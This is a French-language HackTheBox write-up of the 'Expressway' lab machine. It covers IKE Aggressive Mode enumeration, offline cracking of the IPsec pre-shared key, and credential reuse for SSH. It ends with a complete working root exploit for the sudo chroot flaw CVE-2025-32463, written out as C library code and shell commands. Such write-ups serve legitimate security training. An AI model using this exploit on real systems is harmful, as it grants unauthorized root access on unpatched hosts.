Post

HackTheBox - Expressway

Write-up de la machine Expressway - Exploitation d'un VPN IPsec, cracking de Pre-Shared Key et escalade de privilèges via CVE-2025-32463 (sudo chroot)

HackTheBox - Expressway

Informations sur la machine

PropriétéValeur
OSLinux
DifficultéEasy
Points20
IP10.129.3.110

Reconnaissance

Scan TCP

Un premier scan TCP ne révèle qu’un service SSH sur le port 22.

1
nmap -sC -sV 10.129.3.110
1
2
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)

Scan UDP

Le scan UDP s’avère bien plus intéressant et révèle des services liés à un VPN IPsec.

1
nmap -sU --top-ports 100 10.129.3.110
1
2
3
4
5
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
500/udp  open          isakmp
4500/udp open|filtered nat-t-ike

La présence des ports ISAKMP (500) et NAT-T (4500) indique un service VPN IPsec. Le port TFTP (69) pourrait contenir des fichiers de configuration intéressants.


Énumération IKE

Identification du transform set

Avec ike-scan, on identifie la configuration IKE du serveur en Main Mode.

1
ike-scan -M 10.129.3.110
1
2
3
4
10.129.3.110    Main Mode Handshake returned
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    VID=09002689dfd6b712 (XAUTH)
    VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Le serveur utilise 3DES/SHA1/DH Group 2 avec authentification par Pre-Shared Key et XAUTH (Cisco Extended Authentication).

Aggressive Mode et leak d’identité

En testant l’Aggressive Mode, le serveur accepte n’importe quel Group ID et leak l’identité du serveur.

1
ike-scan -M -A --id=vpn 10.129.3.110
1
2
3
4
10.129.3.110    Aggressive Mode Handshake returned
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
    Hash(20 bytes)

On récupère l’identité ike@expressway.htb et un hash de la PSK.


Cracking de la Pre-Shared Key

Capture du hash

On capture le hash dans un format crackable avec l’option --pskcrack.

1
ike-scan -M -A --id=vpn 10.129.3.110 --pskcrack=hash.txt

Cracking avec psk-crack

1
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
1
key "freakingrockstarontheroad" matches SHA1 hash 2d5ef680d9828c455b8d242a6822e5c9e30bf4f5

La Pre-Shared Key est freakingrockstarontheroad.


Établissement du tunnel VPN

Configuration de strongSwan

Après plusieurs tentatives avec vpnc (qui échouait avec des erreurs d’exchange type), la connexion a été établie avec strongSwan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo tee /etc/ipsec.conf << 'EOF'
config setup

conn expressway
    keyexchange=ikev1
    ike=3des-sha1-modp1024!
    esp=3des-sha1!
    type=tunnel
    authby=secret
    xauth=client
    xauth_identity=ike@expressway.htb
    left=%defaultroute
    right=10.129.3.110
    rightid=ike@expressway.htb
    rightsubnet=172.16.0.0/16
    aggressive=yes
    auto=add
EOF
1
2
3
4
sudo tee /etc/ipsec.secrets << 'EOF'
: PSK "freakingrockstarontheroad"
ike@expressway.htb : XAUTH "freakingrockstarontheroad"
EOF

Connexion

1
2
sudo ipsec restart
sudo ipsec up expressway
1
2
3
4
IKE_SA expressway[1] established between 10.10.15.52[10.10.15.52]...10.129.3.110[ike@expressway.htb]
selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024
CHILD_SA expressway{1} established with SPIs [...] and TS 10.10.15.52/32 === 172.16.0.0/16
connection 'expressway' established successfully

Le paramètre rightid=ike@expressway.htb est essentiel. Sans lui, strongSwan rejette la connexion car l’identité distante ne matche pas l’IP du serveur.


Accès SSH

Les mêmes identifiants utilisés pour le VPN fonctionnent également pour SSH.

1
ssh -o KexAlgorithms=curve25519-sha256 ike@expressway.htb

L’option -o KexAlgorithms=curve25519-sha256 est nécessaire car la négociation ML-KEM (post-quantum) par défaut entre OpenSSH 10.x côté client et serveur provoque un hang lors du key exchange.

Mot de passe : freakingrockstarontheroad

1
ike@expressway:~$ cat user.txt

Escalade de privilèges

Énumération

L’énumération du système révèle plusieurs éléments intéressants.

Binaires SUID :

1
find / -perm -4000 -type f 2>/dev/null

Deux binaires attirent l’attention :

  • /usr/sbin/exim4 — SUID root, Exim 4.98.2
  • /usr/local/bin/sudo — SUID root, Sudo 1.9.17 (compilé custom, non-stripped)

Groupe proxy et Squid :

L’utilisateur ike est membre du groupe proxy, donnant accès aux logs Squid qui révèlent un sous-domaine interne :

1
cat /var/log/squid/access.log.1 | grep expressway
1
TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html

Identification de la vulnérabilité

La présence de deux versions de sudo est suspecte :

1
2
/usr/bin/sudo --version     # Sudo 1.9.13p3 (281 KB)
/usr/local/bin/sudo --version  # Sudo 1.9.17 (1 MB, custom build)

La version 1.9.17 installée dans /usr/local/bin/ (prioritaire dans le PATH) est vulnérable à CVE-2025-32463, une faille critique (CVSS 9.3) surnommée “chwoot”.

Cette vulnérabilité permet à n’importe quel utilisateur local d’obtenir un shell root en abusant de l’option -R (–chroot) de sudo, même sans être listé dans le fichier sudoers.

Exploitation — CVE-2025-32463

Le principe est simple : sudo avec l’option -R effectue un chroot() dans le répertoire spécifié avant d’évaluer les privilèges. En créant un faux nsswitch.conf dans ce répertoire, on force sudo à charger une bibliothèque partagée malveillante avec les privilèges root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Création du répertoire de travail
STAGE=$(mktemp -d /tmp/sudowoot.XXXXXX)
cd $STAGE

# Code de la bibliothèque malveillante
cat > woot1337.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash","/bin/bash",NULL);
}
EOF

# Structure du faux chroot
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

# Compilation
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

# Exploitation
sudo -R woot woot
1
2
3
root@expressway:/tmp/sudowoot.XXXXXX# id
uid=0(root) gid=0(root) groups=0(root)
root@expressway:/tmp/sudowoot.XXXXXX# cat /root/root.txt

Leçons apprises

  • Ne pas négliger les scans UDP : les services VPN IPsec sont souvent invisibles en TCP
  • L’Aggressive Mode IKE est dangereux car il expose le hash de la PSK, permettant un cracking offline
  • La réutilisation de credentials (PSK → SSH) est un vecteur d’attaque courant en environnement d’entreprise
  • Les versions custom de binaires système (ici sudo dans /usr/local/bin/) sont souvent des indicateurs de vulnérabilités intentionnelles ou de mauvaises pratiques
  • CVE-2025-32463 démontre les risques liés à l’évaluation de chemins dans un contexte chroot avant la vérification des privilèges

Machine complété

This post is licensed under CC BY 4.0 by the author.